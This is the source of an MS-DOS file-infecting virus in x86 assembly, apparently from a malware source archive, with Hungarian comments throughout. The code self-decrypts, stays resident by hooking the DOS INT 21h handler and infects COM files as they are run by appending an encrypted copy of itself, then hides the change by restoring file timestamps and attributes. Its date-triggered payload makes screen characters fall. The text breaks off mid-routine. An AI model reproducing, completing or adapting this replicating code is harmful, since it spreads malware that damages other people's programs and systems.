MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.s70x.asm

	PAGE ,132
VIRUS	SEGMENT PARA PUBLIC 'CODE'
	ASSUME CS:VIRUS,DS:VIRUS

R1	EQU IDE-131H
R2	EQU BE1-1A3H
HOSSZ	EQU VEG-KEZDET

	ORG 100H
KEZDET	EQU $
	DB 1
	CLI
	MOV BP,SP
	CALL IDE
IDE:	POP BX		; A CIM VISSZAOLVASASA
	SUB BX,131H
	TEST CS:BYTE PTR [BX+KEZDET-R1],1
	JZ INDIT
	LEA SI,[BX+INDIT-R1]
	MOV SP,OFFSET VEG-INDIT
FOLYT:	XOR [SI],SI
	XOR [SI],SP
	INC SI
	DEC SP
	JNZ FOLYT
INDIT:	MOV SP,BP
	JMP BEEPUL

REGCIM	DW 100H
VSZ	DW 0
MENTAX	DW 0
PRGKEZ	DB 0,0,0
	DW 0
REG1C	DD 0
REG21	DD 0
REG28	DD 0
	DW 0
FILATT	DW 0
FILDAT	DW 0
FILIDO	DW 0
FILNEV	DD 0
FILHOS	DD 0
UJKEZD	DB 0E9H,0,0
VIDOSZL	DB 0
VIDSOR	DB 0
VIDMOD	DB 0
OLVKAR	DB 0
OLVATT	DB 0
STATUS	DB 0
VIDKEZ	DW 0
VIDOFS	DW 0
IDOEGYS	DW 0
SZAML	DW 0
SZAMLEL	DW 0
MAXKAR	DW 0
POTYKAR	DW 0
ORA	DB 16 DUP(0)

BEEPUL:	CALL BE1
BE1:	POP BX
	SUB BX,1A3H
	MOV CS:[BX+VSZ-R2],CS	;  A KODSZEGMENS TAROLASA, AZ INDITAS SZEGMENSE
	MOV CS:[BX+MENTAX-R2],AX
	MOV AX,CS:[BX+PRGKEZ-R2]
	MOV DS:100H,AX		;  AZ ELSO HAROM BYTE VISSZAALLITASA
	MOV AL,CS:[BX+PRGKEZ+2-R2]
	MOV DS:102H,AL
	PUSH BX
	MOV AH,30H		;  A DOS VERZIOSZAM BEOLVASASA
	INT 21H
	POP BX
	CMP AL,2
	JB VISSZA		;  HA KISEBB, MINT A 2.0 VERZIO
	MOV AX,4BFFH		;  A VIRUS AKTIVALTSAG ELLENORZESE
	XOR DI,DI		;  DI=0
	XOR SI,SI		;  SI=0
	INT 21H			;  A VIRUS MAR A MEMORIABAN?
	CMP DI,55AAH		;  HA DI=55AA, AKKOR MAR AKTIV
	JNZ BE2			;  UGRAS, HA MAR MUKODIK
	JB BE3			;  MINDIG HAMIS
VISSZA:	STI			;  ELINDITJA A GAZDAPROGRAMOT
	PUSH DS
	POP ES			;  AZ ES VISSZAALLITASA
	MOV AX,CS:[BX+MENTAX-R2]
	JMP DWORD PTR CS:[BX+REGCIM-R2]
BE2:	PUSH BX
	MOV AX,3521H
	INT 21H			;  A 21H MEGSZAKITASVEKTOR BEOLVASASA
	MOV AX,BX
	POP BX			;  ES ELTAROLASA A TABLAZATBAN
BE3:	MOV CS:[BX+REG21-R2],AX
	MOV CS:[BX+REG21+2-R2],ES
	MOV AX,0F000H
	MOV ES,AX
	MOV DI,0E008H
	CMP WORD PTR [DI],4F43H	;  'COPR. IBM'+00H ELLENORZESE /LENNE/
	JNZ BE4
	CMP WORD PTR [DI+2],5250H
	JNZ BE4
	CMP WORD PTR [DI+4],202EH
	JNZ BE4
	CMP WORD PTR [DI+6],4249H
	JNZ BE4
	CMP WORD PTR [DI+8],4DH
	JZ VISSZA
BE4:	MOV AX,HOSSZ/10H+11H	;  A VIRUS HOSSZA+100H PARAGRAFUSBAN
	MOV BP,CS		;  ES RAALLITASA A PROGRAMOT MEGELOZO
	DEC BP			;  MCB-RE
	MOV ES,BP
	MOV SI,CS:[16H]
	MOV ES:[1],SI
	MOV DX,ES:[3]		;  A SZABAD PARAGRAFUSOK BEOLVASASA DX-BE
	MOV ES:[3],AX
	MOV ES:BYTE PTR [0],4DH	;  NEM UTOLSO MCB
	SUB DX,AX		;  AZ UJ SZABAD PARAGRAFUSOK SZAMA A VIRUS
	DEC DX			;  HOSSZAVAL ES EGYEL /AZ UJ MCB/ KEVESEBB
	INC BP
	ADD BP,AX
	INC BP
	MOV ES,BP
	PUSH BX
	MOV AH,50H
	MOV BX,BP
	INT 21H
	POP BX
	XOR DI,DI		;  DI=0
	PUSH ES
	POP SS			;  SS=ES -  AZ UJ VEREM AZ UJ HELYEN LESZ
	PUSH DI
	LEA DI,[BX+VEG-R2-1]	;  A PROGRAM VEGEROL
	MOV SI,DI
	MOV CX,OFFSET HOSSZ 	;  A VIRUST /CX-BE A VIRUS HOSSZA KERUL/
	STD			;  VISSZAFELE
	REPZ MOVSB		;  FELMASOLJA
	PUSH ES
	LEA CX,[BX+BE9-R2]	;  KOZVETLEN VEZERLESATADAS AZ UJ HELYEN
	PUSH CX			;  LEVO VIRUSRA.  A PROGRAM VALOJABAN A 
	RETF			;  RETF UTASITAS UTAN FOLYTATODIK
BE9:	MOV CS:[BX+VSZ-R2],CS	;  AZ UJ SZEGMENSCIM AZ INDITASHOZ
	LEA CX,[BX+KEZDET-R2]	;  A PROGRAM HOSSZA VIRUS NELKUL
	REPZ MOVSB		;  A PROGRAM 'FELHUZASA' A VIRUS ALA
	MOV CS:36H,CS
	DEC BP			;  AZ UJ MCB SZEGMENSCIME
	MOV ES,BP		;  ATTOLTENI ES-BE
	MOV ES:[3],DX		;  BEALLITANI A SZABAD PARAGRAFUSOK SZAMAT
	MOV ES:BYTE PTR [0],5AH	;  ES EZ AZ UTOLSO MCB
	MOV ES:WORD PTR [1],CS	;  A PROGRAM SZEGMENSCIME
	INC BP			;  ES=ES+1, A SZEGMENSREGISZTER VISSZAALLITASA
	MOV ES,BP		;  A PROGRAM ELEJERE
	PUSH DS
	POP ES			;  ES=DS
	PUSH CS
	POP DS			;  DS=CS
	LEA SI,[BX+KEZDET-R2]	;  A PROGRAM HOSSZA VIRUS NELKUL
	MOV DI,100H
	MOV CX,OFFSET HOSSZ	;  A VIRUS HOSSZA
	CLD			;  A VIRUS LEMASOLASA A PROGRAM ELOTT
	REPZ MOVSB		;  FELSZABADULT HELYRE
	PUSH ES			;  ES KOZVETLEN VEZERLESATADAS A VEGLEGES
	LEA AX,DS:BE8		;  HELYEN TALALHATO VIRUS SZAMARA
	PUSH AX			;  AZ UGRAS AZ UJ VIRUS RETF UTASITASA
	RETF			;  UTAN TORTENIK
BE8:	MOV CS:WORD PTR [2CH],0
	MOV CS:16H,CS
	PUSH DS			;  DS ERTEKET ELMENTENI
	LEA DX,DS:UJ21		;  AZ UJ INT 21H CIMENEK BEALLITASA
	PUSH CS			;  DS=CS
	POP DS
	MOV AX,2521H
	INT 21H
	POP DS			;  DS REGI ERTEKE
	MOV AH,1AH
	MOV DX,80H
	INT 21H			;  A DTA CIM BEALLITASA
	CALL BEMAS		;  A RENDSZERIDO BEMASOLASA A TABLAZATBA
	MOV AH,2AH
	INT 21H			;  RENDSZERDATUM BEOLVASASA
	CMP CX,1988		;  A MAI DATUM NAGYOBB, MINT 1988?
	JA BE5			;  IGEN:  CSAK FERTOZES
	JZ BE6			;  IDEN VAN 1988
	CMP CX,1980		;  1980 VAN?
	JNZ BE5			;  IGEN:  CSAK FERTOZES
	PUSH DS
	MOV AX,3528H
	INT 21H			;  A 28H VEKTOR BEOLVASASA, ES ELTAROLASA
	MOV CS:WORD PTR REG28,BX
	MOV CS:WORD PTR REG28+2,ES
	MOV AX,2528H
	MOV DX,OFFSET UJ28	;  DX-BE AZ UJ INT 28H OFFSZETJE
	PUSH CS
	POP DS			;  DS=CS
	INT 21H			;  A MEGSZAKITASI VEKTOR BEALLITASA
	POP DS
	OR CS:STATUS,1000B	;  A POTYOGAS LETILTASA
	JMP BE7
BE6:	CMP DH,0AH		;  CSAK OKTOBERTOL DECEMBERIG POTYOG
	JB BE5			;  MEG NINCS
BE7:	CALL KESLH		;  A KESLELTETESI ERTEK MEGHATAROZASA
	MOV AX,1518H
	CALL VELETL
	INC AX
	MOV CS:SZAML,AX		;  A BELSO VALTOZOK BEALLITASA
	MOV CS:SZAMLEL,AX
	MOV CS:POTYKAR,1
	MOV AX,351CH
	INT 21H			;  AZ 1CH VEKTOR BEOLVASASA ES ELTAROLASA
	MOV CS:WORD PTR REG1C,BX
	MOV CS:WORD PTR REG1C+2,ES
	PUSH DS
	MOV AX,251CH
	MOV DX,OFFSET UJ1C	;  AZ UJ INT 1CH OFFSZETJE
	PUSH CS			;  ES SZEGMENSE
	POP DS
	INT 21H			;  AZ 1CH VEKTOR BEALLITASA
	POP DS
BE5:	MOV BX,0FFD6H
	JMP VISSZA

UJ21:	CMP AH,4BH		;  A FUNKCIOKOD 4BH?
	JZ U21_1		;  IGEN
U21_2:	JMP DWORD PTR CS:REG21	;  FOLYTATAS A REGI INT 21H-N
U21_3:	MOV DI,55AAH		;  A VIRUS AKTIVALTSAGA
	LES AX,CS:REG21
	MOV DX,CS
	IRET
U21_1:	CMP AL,0FFH		;  A VIRUS AKTIVALTSAG KERDEZESE?
	JZ U21_3		;  IGEN
	CMP AL,0		;  BETOLTES & INDITAS?
	JNZ U21_2		;  NEM
	PUSHF			;  A REGISZTEREK MENTESE
	PUSH AX
	PUSH BX
	PUSH CX
	PUSH DX
	PUSH SI
	PUSH DI
	PUSH BP
	PUSH ES
	PUSH DS
	MOV CS:WORD PTR FILNEV,DX
	MOV CS:WORD PTR FILNEV+2,DS
	PUSH CS
	POP ES
	MOV AX,3D00H
	INT 21H			;  A FILE MEGNYITASA OLVASASRA
	JC FERT1
	MOV BX,AX		;  A FILESZAM ATVITELE BX-BE
	MOV AX,5700H
	INT 21H			;  A KELETKEZESI IDO BEOLVASASA
	MOV CS:FILDAT,DX	;  ES ELTAROLASA
	MOV CS:FILIDO,CX
	MOV AH,3FH
	PUSH CS
	POP DS
	MOV DX,OFFSET PRGKEZ
	MOV CX,3
	INT 21H			;  AZ ELSO HAROM BYTE BEOLVASASA
	JC FERT1
	CMP AX,CX		;  SIKERULT MINDENT BEOLVASNI?
	JNZ FERT1		;  NEM, HIBA TORTENT
	MOV AX,4202H
	XOR CX,CX
	XOR DX,DX
	INT 21H			;  FILE HOSSZANAK A MEGHATAROZASA
	MOV CS:WORD PTR FILHOS,AX
	MOV CS:WORD PTR FILHOS+2,DX
	MOV AH,3EH
	INT 21H			;  A FILE LEZARASA
	CMP CS:WORD PTR PRGKEZ,5A4DH
	JNZ FERT2		;  COM FILE?
	JMP FERT3		;  EXE ESETEN VISSZATERES
FERT2:	CMP CS:WORD PTR FILHOS+2,0
	JA FERT1		;  NAGYOBB, MINT 64K?
	CMP CS:WORD PTR FILHOS,0F93BH
	JBE FERT7		;  A FILE MEG MEGFELELO MERETU
FERT1:	JMP FERT3
FERT7:	CMP CS:PRGKEZ,0E9H	;  JMP UTASITAS?
	JNZ FERT8		;  NEM
	MOV AX,CS:WORD PTR FILHOS
	ADD AX,0F959H		;  FILE HOSSZA - VIRUS HOSSZA : IDE UGRIK?
	CMP AX,CS:WORD PTR PRGKEZ+1
	JZ FERT1		;  EZ A FILE MAR FERTOZOTT
FERT8:	MOV AX,4300H
	LDS DX,CS:FILNEV
	INT 21H			;  A FILE ATTRIBUTUMANAK BEOLVASASA
	JC FERT1
	MOV CS:FILATT,CX	;  AZ ATTRIBUTUM TAROLASA
	XOR CL,20H		;  AZ ARCHIV BIT INVERTALASA
	TEST CL,27H
	JZ FERT5
	MOV AX,4301H
	XOR CX,CX
	INT 21H			;  AZ UJ ATTRIBUTUM FELIRASA
	JC FERT1
FERT5:	MOV AX,3D02H
	INT 21H			;  FILE NYITASA IRASRA & OLVASASRA
	JC FERT1
	MOV BX,AX		;  FILE SORSZAM BX-BE
	MOV AX,4202H
	XOR CX,CX
	XOR DX,DX
	INT 21H			;  MUTATO A FILE VEGERE
	CALL UTANMAS		;  A VIRUST UTANAMASOLNI
	JNC FERT9		;  SIKERULT?
	MOV AX,4200H
	MOV CX,CS:WORD PTR FILHOS+2
	MOV DX,CS:WORD PTR FILHOS
	INT 21H			;  MUTATO A FILE EREDETI VEGERE
	MOV AH,40H
	XOR CX,CX
	INT 21H			;  A FILEHOSSZ FELIRASA
	JMP FERT6
FERT9:	MOV AX,4200H
	XOR CX,CX
	XOR DX,DX
	INT 21H			;  MUTATO A FILE ELEJERE
	JC FERT6
	MOV AX,CS:WORD PTR FILHOS
	ADD AX,0FFFEH		;  AZ UGRASI CIM KISZAMITASA
	MOV CS:WORD PTR UJKEZD+1,AX
	MOV AH,040H
	MOV DX,OFFSET UJKEZD
	MOV CX,3
	INT 21H			;  AZ ELSO HAROM BYTE KIIRASA
FERT6:	MOV AX,5701H
	MOV DX,CS:FILDAT	;  A DATUM
	MOV CX,CS:FILIDO	;  ES IDO BEOLVASASA
	INT 21H			;  ES BEALLITASA
	MOV AH,3EH
	INT 21H			;  A FILE LEZARASA
	MOV CX,CS:FILATT	;  AZ ATTRIBUTUM BEOLVASASA
	TEST CL,111B		;  R/O, REJTETT VAGY RENDSZER?
	JNZ FERTA
	TEST CL,100000B		;  ARCHIV FILE?
	JNZ FERT3
FERTA:	MOV AX,4301H
	LDS DX,CS:FILNEV
	INT 21H			;  A FILE ATTRIBUTUMANAK BEALLITASA
FERT3:	POP DS			;  A REGISZTEREK VISSZAOLVASASA
	POP ES
	POP BP
	POP DI
	POP SI
	POP DX
	POP CX
	POP BX
	POP AX
	POPF
	JMP U21_2

VELETL	PROC NEAR		;  EGY VELETLENSZAM ELOALLITASA
	PUSH DS
	PUSH CS
	POP DS
	PUSH BX
	PUSH CX
	PUSH DX
	PUSH AX
	MOV CX,7
	MOV BX,OFFSET ORA+0EH
	PUSH [BX]
VEL1:	MOV AX,[BX-2]
	ADC [BX],AX
	DEC BX
	DEC BX
	LOOP VEL1
	POP AX
	ADC [BX],AX
	MOV DX,[BX]
	POP AX
	OR AX,AX
	JZ VEL2
	MUL DX
VEL2:	MOV AX,DX
	POP DX			;  REGISZTEREK VISSZAALLITASA
	POP CX
	POP BX
	POP DS
	RET
VELETL	ENDP

BEMAS	PROC NEAR		;  A RENDSZERIDO BEMASOLASA A TABLAZATBA
	PUSH DS			;  A REGISZTEREK ELMENTESE
	PUSH ES
	PUSH SI
	PUSH DI
	PUSH CX
	PUSH CS			;  ES=CS
	POP ES
	MOV CX,40H		;  FORRAS= 0000:046CH
	MOV DS,CX		;  AZ ORA BEMASOLASA
	MOV DI,OFFSET ORA
	MOV SI,6CH
	MOV CX,8		;  16 BYTE
	CLD			;  NOVEKVO IRANYBA
	REPZ MOVSW
	POP CX			;  A REGISZEREK ELOZO ERTEKEINEK
	POP DI			;  VISSZAALLITASA
	POP SI
	POP ES
	POP DS
	RET			;  VISSZATERES
BEMAS	ENDP	

VIDOLV	PROC NEAR		;  OLVASAS A VIDEORAM-BOL
	PUSH SI			;  REGISZTEREK ELMENTESE
	PUSH DS
	PUSH DX
	MOV AL,DH
	MUL VIDOSZL		;  A SOR SZAMA SZOROZVA A SORON BELULI OSZLOPOK
	MOV DH,0		;  SZAMAVAL, PLUSZ AZ OSZLOPOK SZAMA
	ADD AX,DX
	SHL AX,1		;  SZORZAS KETTOVEL (KAR.+ATTRIB.)
	ADD AX,VIDOFS		;  ELTOLAS A SZEGMENSEN BELUL
	MOV SI,AX
	TEST VIDMOD,11111111B	;  HAVAZIK A KEPERNYO?
	MOV DS,VIDKEZ
	JZ VO3			;  NEM HAVAZIK
	MOV DX,3DAH		;  A CGA KARTYA STATUSZPORTJA
	CLI			;  A MEGSZAKITASOKAT LETILTANI
VO1:	IN AL,DX		;  A STATUSZ BEOLVASASA
	TEST AL,1000B		;  FUGGOLEGES VISSZAFUTAS
	JNZ VO3
	TEST AL,1		;  VARJUK MEG, MIG NEM OLVASHATUNK A RAM-BOL
	JNZ VO1
VO2:	IN AL,DX
	TEST AL,1
	JZ VO2
VO3:	LODSW			;  A KARAKTER ES ATTRIBUTUM BEOLVASASA
	STI			;  A MEGZAKITAS ELLENORZESE
	POP DX			;  REGISZTEREK VISSZAOLVASASA
	POP DS
	POP SI
	RET
VIDOLV	ENDP

VIDIR	PROC NEAR		;  KIIRAS A VIDEORAM-BA
	PUSH DI			;  REGISZTEREK ELMENTESE
	PUSH ES
	PUSH DX
	PUSH BX
	MOV BX,AX		;  A KARAKTER ES AZ ATTRIBUTUM ELMENTESE
	MOV AL,DH		;  A CIM KISZAMITASA
	MUL VIDOSZL
	MOV DH,0
	ADD AX,DX
	SHL AX,1		;  SZORZAS KETTOVEL
	ADD AX,VIDOFS
	MOV DI,AX
	TEST VIDMOD,11111111B	;  HAVAZIK A KEPERNYO?
	MOV ES,VIDKEZ
	JZ VI3			;  NEM HAVAZIK
	MOV DX,03DAH		;  A CGA KARTYA STATUSZPORTJA
	CLI			;  MEGSZAKITASOKAT TILTANI
VI1:	IN AL,DX		;  A STATUSZT BEOLVASNI
	TEST AL,1000B		;  FUGGOLEGES VISSZAFUTAS?
	JNZ VI3			;  IGEN
	TEST AL,1		;  IRHATUNK A VIDEORAM-BA?
	JNZ VI1			;  HA IGEN, AKKOR VARJUNK MEG
VI2:	IN AL,DX		;  A STATUSZ BEOLVASASA
	TEST AL,1		;  VARJUK MEG, AMIRE ISMET OLVASHATUNK
	JZ VI2
VI3:	MOV AX,BX		;  A KARAKTER ES AZ ATTRIBUTUM BETOLTESE
	STOSB			;  BEIRASA A VIDEORAM-BA
	STI			;  A MEGSZAKITASOK MAR ENGEDELYEZHETOK
	POP BX			;  A REGISZTEREK VISSZAALITASA
	POP DX
	POP ES
	POP DI
	RET			;  VISSZATERES
VIDIR	ENDP

VARAK	PROC NEAR		;  VARAKOZAS CX IDEIG
	PUSH CX
V1:	PUSH CX
	MOV CX,IDOEGYS
V2:	LOOP V2
	POP CX
	LOOP V1
	POP CX
	RET
VARAK 	ENDP

HANGSZ	PROC NEAR		;  A HANGSZORO ATKAPCSOLASA
	PUSH AX			;  AX ELMENTESE
	IN AL,61H		;  A PPI BEOLVASASA
	XOR AL,2		;  A HANGSZORO ATKAPCSOLASA
	AND AL,11111110B	;  ENGEDELYEZESE
	OUT 61H,AL		;  VISSZAIRASA
	POP AX			;  AX VISSZAALLITASA
	RET			;  VISSZATERES
HANGSZ	ENDP

URES	PROC NEAR
	CMP AL,0		;  NUL KODJA?
	JZ UR1			;  IGEN
	CMP AL,20H		;  SZOKOZ?
	JZ UR1			;  IGEN
	CMP AL,0FFH		;  0FFH IS URES
	JZ UR1			;  AZ
	CLC			;  NEM URES
	RET			;  VISSZATERES
UR1:	STC			;  URES
	RET			;  VISSZATERES
URES	ENDP

GRAFIK	PROC NEAR
	CMP AL,0B0H		;  0B0H<=AL<=0DFH?
	JB GR1			;  NEM
	CMP AL,0DFH
	JA GR1			;  NEM
	STC			;  IGEN
	RET			;  VISSZATERES
GR1:	CLC			;  NEM GRAFIKUS
	RET			;  VISSZATERES
GRAFIK	ENDP

KESLH	PROC NEAR		;  A KESLELTETESI ERTEK MEGHATAROZASA
	PUSH DS
	MOV AX,40H
	MOV DS,AX
	STI
	MOV AX,DS:6CH		;  AZ ORA BEOLVASASA
KES1:	CMP AX,DS:6CH		;  VARAKOZAS, MIG AZ ORA EPPEN NEM LEP
	JZ KES1
	XOR CX,CX		;  CX NULLAZASA
	MOV AX,DS:6CH		;  AZ ORA BEOLVASASA
KES2:	INC CX			;  CX=CX+1
	JZ KES4			;  HA TULCSORDULT
	CMP AX,DS:6CH		;  LEPETT MAR AZ ORA?
	JZ KES2			;  MEG NEM
KES3:	POP DS
	MOV AX,CX
	XOR DX,DX
	MOV CX,0FH
	DIV CX
	MOV CS:IDOEGYS,AX	;  AZ IDOEGYSEG ELTAROLASA
	RET
KES4:	DEC CX
	JMP KES3
KESLH	ENDP

POTY	PROC NEAR		;  POTYOGTATAS
	MOV VIDSOR,24
	PUSH DS
	MOV AX,40H		;  A BIOS PARAMETERBLOKK
	MOV DS,AX
	MOV AX,DS:4EH		;  A VIDEOPUFFER OFSZET ERTEKE
	POP DS
	MOV VIDOFS,AX
	MOV DL,0FFH
	MOV AX,1130H
	MOV BH,0
	PUSH ES			;  ES & BP ELMENTESE
	PUSH BP
	INT 10H			;  A SOROK SZAMANAK BEOLVASASA
	POP BP			;  ES & BP VISSZAALLITASA
	POP ES
	CMP DL,0FFH
	JZ PO1
PO4:	MOV VIDSOR,DL		;  A SOROK SZAMANAK ELTAROLASA
PO1:	MOV AH,0FH
	INT 10H			;  OSZLOPOK SZAMANAK A BEOLVASASA
	MOV VIDOSZL,AH		;  ES ELTAROLASA
	MOV VIDMOD,0		;  A MOD ES A VIDEOMEMORIA SZEGMENSCIMENEK
	MOV VIDKEZ,0B000H	;  BEALLITASA
	CMP AL,7		;  AZ AKTUALIS MOD EGA-TEXT?
	JZ PO3			;  IGEN
	JB PO2
	JMP PO7
PO2:	MOV VIDKEZ,0B800H	;  A VIDEOMEMORIA KEZDOCIME
	CMP AL,3
	JA PO3
	CMP AL,2
	JB PO3
	MOV VIDMOD,1		;  HAVAZIK A KEPERNYO
	MOV AL,VIDSOR		;  A SOROK SZAMA
	INC AL			;  MEG EGY
	MUL VIDOSZL		;  SZOROZVA AZ OSZLOPOK SZAMAVAL
	MOV MAXKAR,AX		;  ENNYI KARAKTERHELY VAN A KEPERNYON
	MOV AX,POTYKAR		;  A POTYOGTATANDO KARAKTEREK SZAMA
	CMP AX,MAXKAR		;  NAGYOBB, MINT A MAXIMALIS KARAKTERSZAM?
	JBE PO5			;  NEM, TOVABB
	MOV AX,MAXKAR		;  A MAXIMALIS KARAKTERSZAM
PO5:	CALL VELETL		;  VELETLENSZAM ELOALLITASA 1 ES A POTYOGTATANDO
	INC AX			;  /VAGY MAXIMALIS/ ERTEK KOZOTT
	MOV SI,AX		;  A MAXIMALISAN POTYOGTATHATO KARAKTEREK SZAMA
PO3:	XOR DI,DI		;  DI=0
PO8:	INC DI			;  DI=DI+1  :  A SIKERTELEN KISERLETEKET SZAMLALJA
	MOV AX,MAXKAR		;  A MAXIMALIS KARAKTERSZAM
	SHL AX,1		;  SZOROZVA KETTOVEL, ENNYI SIKERTELEN KISERLET
	CMP DI,AX		;  ENGEDELYEZETT EGYMAS UTAN
	JBE PO6			;  MEG NEM TELT LE
	JMP PO7			;  TULLEPTE, KILEPETT
PO6:	OR STATUS,10B		;  A KARAKTER NEM POTYOGOTT
	MOV AL,VIDOSZL		;  A MAXIMALIS ERTEK AZ OSZLOPOK SZAMA
	MOV AH,0
	CALL VELETL		;  VELETLENSZAM ELOALLITASA
	MOV DL,AL		;  EZ LESZ AZ OSZLOPSZAM
	MOV AL,VIDSOR		;  MAXIMALIS ERTEK A SOROK SZAMA
	MOV AH,0
	CALL VELETL		;  VELETLENSZAM ELOALLITASA
	MOV DH,AL		;  EZ LESZ A SORSZAM
	CALL VIDOLV		;  A MEGFELELO KARAKTER BEOLVASASA
	CALL URES		;  URES-E?
	JC PO8			;  IGEN
	CALL GRAFIK		;  GRAFIKUS-E?
	JC PO8			;  IGEN
	MOV OLVKAR,AL		;  A BEOLVASOTT KARAKTER ES ATTRIBUTUMANAK
	MOV OLVATT,AH		;  ELTAROLASA
	MOV CL,VIDSOR		;  CX=SOROK SZAMA
	MOV CH,0
POC:	INC DH			;  A KOVETKEZO SOR
	CMP DH,VIDSOR		;  ELERTE A MAXIMALISAT?
	JA PO9			;  TULLEPTE, ABBAHAGYNI
	CALL VIDOLV		;  A KARAKTER BEOLVASASA
	CMP AH,OLVATT		;  AZ ATTRIBUTUM STIMMEL?
	JNZ PO9			;  NEM EGYEZIK
	CALL URES		;  URES KARAKTER-E?
	JC POA			;  IGEN
POE:	CALL GRAFIK		;  GRAFIKUS-E?
	JC PO9			;  IGEN
	INC DH			;  A KOVETKEZO SOR
	CMP DH,VIDSOR		;  TULLEPTE AZ UTOLSO SORT?
	JA PO9			;  IGEN
	CALL VIDOLV		;  BEOLVASAS A VIDEORAM-BOL
	CMP AH,OLVATT		;  AZ ATTRIBUTUMOK OSSZEHASONLITASA
	JNZ PO9			;  NEM EGYEZNEK
	CALL URES		;  URES KARAKTER-E?
	JNC POE			;  NEM
	CALL HANGSZ		;  HANG ELOALLITASA
	DEC DH			;  A FELETTE LEVO SOR
	CALL VIDOLV		;  BEOLVASASA
	MOV OLVKAR,AL		;  ES AZ OTT LEVO KARAKTER ELTAROLASA
	INC DH			;  AZ ALATTA LEVO SOR
POA:	AND STATUS,11111101B	;  SIKERULT POTYOGTATNI
	DEC DH			;  A FELETTE LEVO SOR
	MOV AL,20H		;  A SZOKOZ KODJA
	CALL VIDIR		;  KIIRASA
	INC DH			;  AZ ALATTA LEVO SOR
	MOV AL,OLVKAR		;  A KARAKTER
	CALL VIDIR		;  KIIRASA
	JCXZ POB		;  HA ELERTUK A LEGALSO SORT, AKKOR KILEPES
	CALL VARAK		;  VARAKOZAS
	DEC CX			;  ES A VISSZALEVO SOROK SZAMANAK CSOKKENTESE
POB:	JMP POC
PO9:	TEST STATUS,10B		;  POTYOGOTT MAR KARAKTER?
	JZ POD			;  IGEN
	JMP PO8			;  UJ KISERLET
POD:	CALL HANGSZ		;  HANG ELOALLITASA
	DEC SI			;  EGGYEL KEVESEBB KARAKTER VAN HATRA
	JZ PO7			;  HA NULLA, AKKOR KILEPNI
	JMP PO3			;  UJRA KISERELNI
PO7:	IN AL,61H		;  A HANGSZORO BEOLVASASA
	AND AL,11111100B	;  KIKAPCSOLASA
	OUT 61H,AL		;  MAJD VISSZAIRASA
	RET			;  VISSZATERES
POTY	ENDP

UJ1C:	TEST CS:STATUS,1001B	;  A POTYOGAS TILTVA, VAGY EPPEN POTYOG?
	JNZ U1C_1		;  IGEN
	OR CS:STATUS,1		;  EPPEN POTYOG JELZOT BEALLITANI
	DEC CS:SZAML		;  A SZAMLALOT CSOKKENTENI
	JNZ U1C_2		;  HA MEG NEM NULLA, AKKOR VEGE
	PUSH DS			;  REGISZTEREK ELMENTESE
	PUSH ES
	PUSH CS
	POP DS			;  DS=CS
	PUSH CS
	POP ES			;  ES=CS
	PUSH AX
	PUSH BX
	PUSH CX
	PUSH DX
	PUSH SI
	PUSH DI
	PUSH BP
	MOV AL,20H
	OUT 20H,AL
	MOV AX,SZAMLEL		;  A SZAMLALO ELOZO ERTEKE
	CMP AX,0438H		;  AZ ELOZO ERTEK KISEBB VOLT?
	JNB U1C_3		;  NEM
	MOV AX,0438H		;  KB. 60 MASODPERC
U1C_3:	CALL VELETL		;  VELETLENSZAM ELOAALITASA
	INC AX			;  AZ IDO NEM LEHET NULLA
	MOV SZAML,AX		;  ES ELTAROLAS A SZAMLALOBA
	MOV SZAMLEL,AX		;  ES MINT A SZAMLALO UTOLSO ERTEKE IS
	CALL POTY		;  POTYOGTATAS
	MOV AX,3		;  VELETLENSZAM ELOALLIASA
	CALL VELETL		;  1 ES 3 KOZOTT
	INC AX
	MUL POTYKAR		;  EZT SZOROZNI A MAXIMALISAN POTYOGTATHATO
	JNB U1C_4		;  KARAKTEREK SZAMAVAL
	MOV AX,0FFFFH		;  MAXIMUM 65535 DB LEHET
U1C_4:	MOV POTYKAR,AX		;  ELTAROLASA
	POP BP			;  REGISZTEREK VISSZOLVASASA
	POP DI
	POP SI
	POP DX
	POP CX
	POP BX
	POP AX
	POP ES
	POP DS
U1C_2:	AND CS:STATUS,11111110B	;  EPPEN NEM POTYOG BEALLITASA
U1C_1:	JMP DWORD PTR CS:REG1C	;  FOLYTATASA A REGI INT 1CH-N

UJ28:	TEST CS:STATUS,1000B	;  TILTVA A POTYOGAS?
	JZ U28_1		;  HA NEM, AKKOR FELESLEGES VEGREHAJTANI
	PUSH AX			;  REGISZTEREK MENTESE
	PUSH CX
	PUSH DX
	MOV AH,2AH		;  A RENDSZERDATUM BEOLVASASA
	INT 21H
	CMP CX,1988		;  AZ EV 1988?
	JB U28_2		;  HA KISEBB, AKKOR KILEPES
	JA U28_3		;  HA NAGYOBB, AKKOR POTYOGHAT
	CMP DH,10		;  VAN MAR OKTOBER?
	JB U28_2		;  HA MEG NINCS, AKKOR NE POTYOGJON
U28_3:	AND CS:STATUS,11110111B	;  A POTYOGAS ENGEDELYEZVE
U28_2:	POP DX			;  REGISZTEREK VISSZAOLVASASA
	POP CX
	POP AX
U28_1:	JMP DWORD PTR CS:REG28	;  FOLYTATAS A REGI INT 28H-N

UTANMAS	PROC NEAR		;  A VIRUS KIMASOLASA A PROGRAM MOGE
	PUSH ES
	PUSH BX
	MOV AH,48H		;  MEMORIATERULET ALLOKALASA
	MOV BX,OFFSET HOSSZ/10H+1
	INT 21H
	POP BX
	JNC UTAN1		;  SIKERULT?
UTAN3:	STC
	POP ES
	RET
UTAN1:	MOV BYTE PTR CS:100H,1
	MOV ES,AX
	PUSH CS			;  DS=CS
	POP DS
	XOR DI,DI		;  DI=0
	MOV SI,100H		;  SI=100H
	MOV CX,OFFSET HOSSZ	;  A VIRUS HOSSZA
	CLD			;  NOVEKVO IRANY
	REPZ MOVSB		;  A VIRUS KIMASOLASA AZ ALLOKALT TERULETRE
	MOV DI,OFFSET INDIT-100H
	MOV SI,OFFSET INDIT
	ADD SI,WORD PTR FILHOS
	MOV CX,OFFSET VEG-INDIT
UTAN2:	XOR ES:[DI],SI		;  A VIRUS LE XOR-OLASA
	XOR ES:[DI],CX
	INC DI
	INC SI
	LOOP UTAN2
	MOV DS,AX		;  DS A PUFFER ELEJERE MUTAT
	MOV AH,40H
	XOR DX,DX		;  AZ OFSZET A PUFFER ELEJERE
	MOV CX,OFFSET HOSSZ	;  A VIRUS HOSSZA
	INT 21H			;  KIIRAS A PROGRAM MOGE
	PUSHF
	PUSH AX
	MOV AH,49H		;  AZ ALLOKALT MEMORIABLOKK FELSZABADITASA
	INT 21H
	POP AX			;  A REGISZTEREK VISSZAOLVASASA
